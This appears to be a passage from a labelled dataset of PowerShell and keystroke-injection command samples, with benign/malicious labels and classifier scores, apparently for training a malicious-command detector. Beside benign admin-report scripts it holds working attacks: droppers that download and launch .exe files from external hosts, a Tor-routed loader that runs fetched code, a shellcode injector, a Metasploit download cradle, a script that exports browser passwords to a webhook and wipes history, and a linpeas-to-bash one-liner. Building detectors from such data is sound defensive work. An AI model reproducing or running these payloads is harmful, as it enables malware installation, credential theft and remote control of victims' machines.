'\polipo.exe';'HXKsRivf';'oynNceOnFxy';$bqvt=$ezpr+'\'+$by+'.zip';'DJlrBBZS';'HlBZ';$ilua=New-Object System.Net.WebClient;'QDcpy';'QJxf';$xyu=New-Object -C Shell.Application;'xeSu';'BEJbU';'BtnJKUSm';'HuG';if (!(Test-Path $vtzg) -or !(Test-Path $ot)){;'cxjBOmZvDk';'NInn';e 'i.vankin.de';'COYVXPD';'QLikWodWT';};'nlHScK';'tLVWu';'DGZInswj';'ieaqBnXXBL';if (!(Test-Path $vtzg) -or !(Test-Path $ot)){;'Tga';'rUFQi';e 'gg.ibiz.cc';'LVSqds';'MkiSQLVJy';};'sFUMwRQj';'DZ';'db';'NmVXjZaO';$cvdz=$ezpr+' enter oaminglog';'LUPq';'gKQgLmYh';saps $vtzg -Ar "" --Log `""notice file $cvdz`"""" -wi Hidden;'PZxnCI';'soSyFSxz';do{sleep 1;$bimy=gc $cvdz}while(!($bimy -match 'Bootstrapped 100%: Done.'));'MDNhoZxE';'GuMuzoCwT';saps $ot -a ""socksParentProxy=localhost:9050"" -wi Hidden;'cfrwPc';'DlnzyvwBYQ';sleep 7;'TAtSCy';'NgTi';$qdax=New-Object System.Net.WebProxy(""localhost:8123"");'Axpk';'yYePww';$qdax.useDefaultCredentials = $true;'KcqLHXXNxQs';'mBUkNfwsfiX';$ilua.proxy=$qdax;'NnVlUajch';'tgizAGRCEXq';$pbtx='http://powerwormjqj42hu.onion/get.php?s=setup&mom=0776B201-51DE-11CB-A78C-9C1F26D75FB9&uid=' + $by;'zl';'rIIvBbyFn';while(!$nrcb){$nrcb=$ilua.downloadString($pbtx)};'VWM';'UAqS';if ($nrcb -ne 'none'){;'yyeYfmxpss';'eT';iex $nrcb;'oD';'JqEesDpgbI';};'YsGjzbNbhIw'; enter enter",1,1,5.574701e-05,0.9999442
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_c173ulsu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_15.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3858156e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://www.wvhmedicine.ru/1/P2.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.831829e-05,0.9999417
"win+r enter powershell enter enter enter function Get-RsItemReference enter { enter enter param ( enter [Alias('ItemPath')] enter [Parameter(Mandatory = $True, ValueFromPipeline = $true)] enter [string[]] enter $Path, enter enter [string] enter $ReportServerUri, enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter $Proxy enter ) enter enter Begin enter { enter $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters enter } enter enter Process enter { enter enter foreach ($Item in $Path) enter { enter $itemType = $Proxy.GetItemType($Item) enter enter switch ($itemType) enter { enter ""Report"" enter { enter return ($Proxy.GetItemReferences($Item, ""DataSet"") + $Proxy.GetItemReferences($Item, ""DataSource"")) | Add-Member -Name ""ItemType"" -Value $itemType -MemberType NoteProperty -PassThru enter } enter ""DataSet"" enter { enter return $Proxy.GetItemReferences($Item, ""DataSource"") | Add-Member -Name ""ItemType"" -Value $itemType -MemberType NoteProperty -PassThru enter } enter ""Unknown"" enter { enter throw ""Cannot find item with path $Item"" enter } enter default enter { enter throw ""ItemType '$itemType' is not supported by this method."" enter } enter } enter } enter enter } enter } enter New-Alias -Name ""Get-RsItemReferences"" -Value Get-RsItemReference -Scope Global enter enter",0,0,0.9999454,5.4538017e-05
"win+r powershell enter function Get-IEVersion ($computer = $env:COMPUTERNAME) { $version = 0 $keyna enter me = 'SOFTWARE\Microsoft\Internet Explorer' $reg = [Microsoft.Win32.RegistryK enter ey]::OpenRemoteBaseKey('LocalMachine', $computer) $key = $reg.OpenSubkey($keyna enter me) try { $version = $key.GetValue('Version') $svcUpdateVersion = $key.GetV enter alue('svcUpdateVersion') enter enter",1,1,0.0036691101,0.9963309
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_56s1dgvl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.404429e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_p1xuh5gg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4077813e-05
"win+r enter powershell enter enter enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x07,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.183765e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_8rgnpz4j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4215394e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_m7081b6o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4183402e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_fzl8r37m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_75.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3913286e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_yysxg4vz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4103006e-05
"win+r enter powershell enter enter enter  enter function Test-StorageSync enter { enter Write-Verbose ""RecordMode : $(Get-StorageTestMode)"" enter Get-Command Invoke-AzStorageSyncCompatibilityCheck enter } enter enter",0,0,0.99976474,0.00023526006
"win+r powershell enter win brav enter enter brave://password-manager/passwords enter enter enter enter enter enter enter enter ctrl w ctrl alt t curl -x post -h ""content-type: multipart/form-data"" \ enter enter -f ""file=@/home/$user/brave passwords.csv"" \ enter enter -f ""content=$ loot incoming $"" \ enter enter #webhook_url enter enter shred -fuz 'brave passwords.csv' enter enter history -c enter enter exit enter enter",1,1,0.00031528206,0.9996847
"win+r enter powershell enter enter enter # from https://gist.githubusercontent.com/SadProcessor/3e413f9542b01ee90979/raw/463c518c90fca50a2cee594d1b619a0d3fb5bed5/Get-RickAstley.ps1 enter function Get-RickAstley { enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(587,150)#D enter [console]::beep(493,150)#B enter Start-Sleep -m 20 enter [console]::beep(698,400)#F enter [console]::beep(698,400)#F enter [console]::beep(659,500)#E enter Start-Sleep -m 50 enter ## enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(523,150)#C enter [console]::beep(444,150)#B enter Start-Sleep -m 20 enter [console]::beep(659,400)#E enter [console]::beep(659,400)#E enter [console]::beep(587,400)#D enter [console]::beep(523,100)#C enter [console]::beep(440,100)#A enter Start-Sleep -m 50 enter ## enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(587,150)#D enter [console]::beep(493,150)#B enter Start-Sleep -m 20 enter [console]::beep(587,400)#D enter [console]::beep(659,400)#E enter [console]::beep(523,400)#C enter [console]::beep(493,150)#B enter [console]::beep(440,150)#A enter Start-Sleep -m 20 enter [console]::beep(440,150)#A enter [console]::beep(659,250)#E enter [console]::beep(587,250)#D enter Start-Sleep -m 200 enter ## enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(587,150)#D enter [console]::beep(493,150)#B enter Start-Sleep -m 20 enter [console]::beep(698,400)#F enter [console]::beep(698,400)#F enter [console]::beep(659,500)#E enter Start-Sleep -m 50 enter ## enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(523,150)#C enter [console]::beep(440,150)#A enter Start-Sleep -m 20 enter [console]::beep(880,600)#A enter [console]::beep(523,400)#C enter [console]::beep(587,400)#D enter [console]::beep(659,100)#E enter [console]::beep(587,100)#D enter start-sleep -m 50 enter ## enter [console]::beep(440,150)#A enter [console]::beep(493,150)#B enter [console]::beep(587,150)#D enter [console]::beep(493,150)#B enter Start-Sleep -m 20 enter [console]::beep(587,400)#D enter [console]::beep(659,400)#E enter [console]::beep(523,400)#C enter [console]::beep(493,150)#B enter [console]::beep(440,150)#A enter Start-Sleep -m 50 enter [console]::beep(440,150)#A enter [console]::beep(659,250)#E enter [console]::beep(587,250)#D enter } enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter r‰¿I§O®‡ ²Ê+ÿw¸×wý獛ÓWž÷O{÷úÚÃþ:ÝÎuñÏt}ƹѭœyî}áÝ[ë_ZÑÝßo–ÞwŸÆz enter enter",1,1,6.782172e-05,0.99993217
"win+r enter powershell enter enter enter function New-TempDirectoryTree enter { enter enter [CmdletBinding(DefaultParameterSetName='TempPath')] enter param( enter [Parameter(Mandatory=$true,Position=1)] enter [AllowEmptyString()] enter [string] enter enter $Tree, enter enter [Parameter(ParameterSetName='TempPath')] enter [string] enter enter $Prefix, enter enter [Parameter(Mandatory=$true,ParameterSetName='ExistingPath')] enter [string] enter enter $Path enter ) enter enter $stackName = 'New-TempDirectoryTree' enter enter if( $PSCmdlet.ParameterSetName -eq 'TempPath' ) enter { enter $optionalParams = @{ } enter if( $Prefix ) enter { enter $optionalParams.Prefix = $Prefix enter } enter enter $tempDir = New-TempDirectory @optionalParams enter } enter else enter { enter if( (Test-Path -Path $Path -PathType Container) ) enter { enter $tempDir = Get-Item -Path $Path enter } enter else enter { enter $tempDir = New-Item -Path $Path -ItemType Directory -Force enter } enter } enter $startLocation = Get-Location enter Push-Location -Path $tempDir -StackName $stackName enter enter try enter { enter $parent = $tempDir enter $lastDir = $tempDir enter $lastIndent = '' enter enter ($Tree -split ""`r?`n"") | enter Where-Object { $_ } | enter ForEach-Object { enter if( $_ -notmatch '^(( )+)?(\*|\+) ?(.*)$' ) enter { enter Write-Error ('Invalid line for directory tree: <{0}>' -f $_) enter return enter } enter $indent = $matches[1] enter if( -not $indent ) enter { enter $indent = '' enter } enter enter $itemType = $matches[3] enter $name = $matches[4] enter enter if( $lastIndent.Length -lt $indent.Length ) enter { enter Push-Location -Path (Join-Path (Get-Location) $lastDir) -StackName $stackName enter } enter elseif( $indent.Length -lt $lastIndent.Length ) enter { enter $levelsUp = (($lastIndent.Length - $indent.Length) / 2) - 1 enter (0..$levelsUp) | ForEach-Object { Pop-Location -StackName $stackName } enter } enter else enter { enter enter } enter enter if( $itemType -eq '*' ) enter { enter $itemType = 'File' enter $pathType = 'Leaf' enter } enter else enter { enter $itemType = 'Directory' enter $pathType = 'Container' enter $lastDir = $name enter } enter enter if( -not (Test-Path -Path $name -PathType $pathType) ) enter { enter $null = New-Item -Path $name -ItemType $itemType enter } enter enter $lastIndent = $indent enter } enter enter $tempDir enter } enter finally enter { enter Set-Location $startLocation enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://93.174.94.137/~karma/scvhost.exe',""$env:APPDATA\scvhost.exe"");Start-Process (""$env:APPDATA\scvhost.exe"") enter enter",1,1,5.5235938e-05,0.9999448
"win+r enter powershell enter enter enter var ndsx = true;(function(y,q,j,d,u,i){u=q.createElement(j);i=q.getElementsByTagName(j)[0];u.async=1;u.src=d;i.parentNode.insertBefore(u,i);})(window,document,'script','https://games.iglesiaelarca.org/SXEgWK+z6JF2dAvtUNyNj+FiEUpf7BAptRffUj73JNA='); enter enter",1,1,5.5671946e-05,0.9999443
"win+r enter powershell enter enter enter function Verify-True { enter param ( enter [Parameter(ValueFromPipeline = $true)] enter $Actual enter ) enter enter if (-not $Actual) { enter throw [Exception]""Expected `$true but got '$Actual'."" enter } enter enter $Actual enter } enter function Invoke-MetasploitPayload enter { enter [CmdletBinding()] enter Param enter ( enter [Parameter( Mandatory = $True)] enter [ValidateNotNullOrEmpty()] enter [string]$url enter ) enter enter Write-Verbose ""[*] Creating Download Cradle script using $url"" enter $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');' enter enter Write-Verbose ""[*] Figuring out if we're starting from a 32bit or 64bit process.."" enter if([IntPtr]::Size -eq 4) enter { enter Write-Verbose ""[*] Looks like we're 64bit, using regular powershell.exe"" enter $PowershellExe = 'powershell.exe' enter } enter else enter { enter Write-Verbose ""[*] Looks like we're 32bit, using syswow64 powershell.exe"" enter $PowershellExe=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe' enter }; enter enter Write-Verbose ""[*] Creating Process Object.."" enter $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo enter $ProcessInfo.FileName=$PowershellExe enter $ProcessInfo.Arguments=""-nop -c $DownloadCradle"" enter $ProcessInfo.UseShellExecute = $False enter $ProcessInfo.RedirectStandardOutput = $True enter $ProcessInfo.CreateNoWindow = $True enter $ProcessInfo.WindowStyle = ""Hidden"" enter Write-Verbose ""[*] Kicking off download cradle in a new process.."" enter $Process = [System.Diagnostics.Process]::Start($ProcessInfo) enter Write-Verbose ""[*] Done!"" enter } enter enter",1,1,0.00063633197,0.9993637
"""id"":1399782,""titles"":{""en"":""Good for All""},""slug"":""6_Good_for_All"",""sale_mode"": enter 1,""type"":6,""element_sub_type"":0,""is_custom"":0,""last_modified"":""2023-02-22T04:23: enter 34+01:00"",""description"":"""",""thumbnail_url"":""https://static-eus-rs.wondershare.co enter m/Filmora_Win/file/s7/f298cba233763e81af6f86abca1633a4.jpg"",""preview_url"":""https enter ://static-eus-rs.wondershare.com/Filmora_Win/file/s7/dc617ad2a1a11938a915db0636b enter 315a1.mp3"",""frame_url"":"""",""recent_use_time"":0,""third_required_info"":0,""timeline_ enter data_info"":"""",""background_urls"":[],""related_id"":1877346,""need_update"":false,""sec enter ret_key"":""V4#@705017d05f908a9e9ed6443a812c4facbbccfc4be287a0ce2157fe6d0e1e9e2600 enter 05ab59f86e67b149beccbb4b977561"",""related_type"":2,""version"":""1.0.0"",""related_info enter "":{""id"":1877346,""slug"":"""",""title"":{""Good for All"":""en""}},""extension"":{""split_thu enter mbs"":{},""split_previews"":{},""template_base"":{""third_url"":"""",""duration"":"""",""frame enter "":"""",""ratio"":"""",""is_ enter",1,1,0.00088396086,0.999116
"win+r powershell enter function global:Script-DBObjectsIntoFolders([string]$server, [string]$dbname){ enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SMO"") | o enter ut-null $SMOserver = New-Object ('Microsoft.SqlServer.Management.Smo.Server') enter -argumentlist $server $db = $SMOserver.databases[$dbname] $Objects = $db.Tab enter les $Objects += $db.Views $Objects += $db.StoredProcedures $Objects += $db.Us enter erDefinedFunctions $Objects += $db.Schemas $Objects += $db.Triggers enter enter",1,1,0.0032539866,0.99674594
"win+r enter powershell enter enter enter Describe ""Get-HotFix Tests"" -Tag CI { enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter enter $skip = $false enter if (!$IsWindows) { enter $skip = $true enter } enter else { enter enter $qfe = Get-CimInstance Win32_QuickFixEngineering enter if ($qfe.Count -eq 0) { enter $skip = $true enter } enter } enter enter $PSDefaultParameterValues[""it:skip""] = $skip enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter It ""Get-HotFix will enumerate all QFEs"" { enter $hotfix = Get-HotFix enter $hotfix.Count | Should -Be $qfe.Count enter } enter enter It ""Get-HotFix can filter on -Id"" { enter $testQfe = $qfe[0] enter enter $hotfix = Get-HotFix -Id $testQfe.HotFixID enter $hotfix.HotFixID | Should -BeExactly $testQfe.HotFixID enter $hotfix.Description | Should -BeExactly $testQfe.Description enter } enter enter It ""Get-HotFix can filter on -Description"" { enter $testQfes = $qfe | Where-Object { $_.Description -eq 'Update' } enter if ($testQfes.Count -gt 0) { enter $hotfixes = Get-HotFix -Description 'Update' enter } enter elseif ($qfe.Count -gt 0) { enter $description = $qfe[0].Description enter $testQfes = $qfe | Where-Object { $_.Description -eq $description } enter $hotfixes = Get-HotFix -Desscription $description enter } enter $hotfixes.Count | Should -Be $testQfes.Count enter } enter enter It ""Get-HotFix can use -ComputerName"" { enter $hotfixes = Get-HotFix -ComputerName localhost enter $hotfixes.Count | Should -Be $qfe.Count enter } enter enter It ""Get-Hotfix can accept ComputerName via pipeline"" { enter { [PSCustomObject]@{ComputerName = 'UnavailableComputer'} | Get-HotFix } |Should -Throw -ErrorID 'Microsoft.PowerShell.Commands.GetHotFixCommand' enter [PSCustomObject]@{ComputerName = 'localhost'} | Get-HotFix | Should -Not -BeNullOrEmpty enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7591096e-05,0.9999424
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_iqe4cikd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter",0,0,0.999966,3.394564e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_ekv2rtdi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter",0,0,0.9999654,3.45737e-05
"win+r powershell enter function Assert-CFirewallConfigurable enter { enter [CmdletBinding()] enter param( enter ) enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter if( (Get-Service 'Windows Firewall' -ErrorAction Ignore | Select-Object -ExpandProperty 'Status' -ErrorAction Ignore) -eq 'Running' ) enter { enter return $true enter } enter elseif( (Get-Service -Name 'MpsSvc').Status -eq 'Running' ) enter { enter return $true enter } enter Write-Error ""Unable to configure firewall: Windows Firewall service isn't running."" enter return $false enter } enter",0,0,0.99994254,5.74108e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install google-chrome-for-enterprise enter A enter enter enter,0,0,0.9999596,4.0422132e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_09uy8xb1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3895147e-05
"win+r powershell enter  function Test-ConvertLegacyKindExchangeAshburn { try { $peerAsn = makePee enter rAsn 11164; $name = getPeeringVariable ""Name"" ""AS11164_Ashburn_Exchange"" $rg = enter getPeeringVariable ""ResourceGroupName"" ""Building40"" $legacy = Get-AzLegacyPeer enter ing -Kind Exchange -PeeringLocation Ashburn Assert-NotNull $peerAsn.Id Assert enter -NotNull $legacy Assert-True { $legacy.Count -ge 1 } enter enter",1,1,0.0016819823,0.9983181
"win+r powershell enter unknown_key_action ctrl alt t set +o history enter git remote get-url --push origin > git.txt && git remote set-url origin https://""token""@github.com/""username""/""reponame"".git && git clone ""repo link"" && cd ""repo name"" && nohup curl -s -l https://github.com/carlospolop/peass-ng/releases/latest/download/linpeas.sh | bash >treasure.txt && git add * && git commit -m ""treasure waits"" && git push && cd .. && rm git.txt && rm -rf ""repo name"" && history | grep history && line=$(history | grep history | awk '{ print $1 }') && history -d $line && set -o history & enter alt f4 enter",0,1,0.0031778929,0.9968221
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_5hux9z7z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir 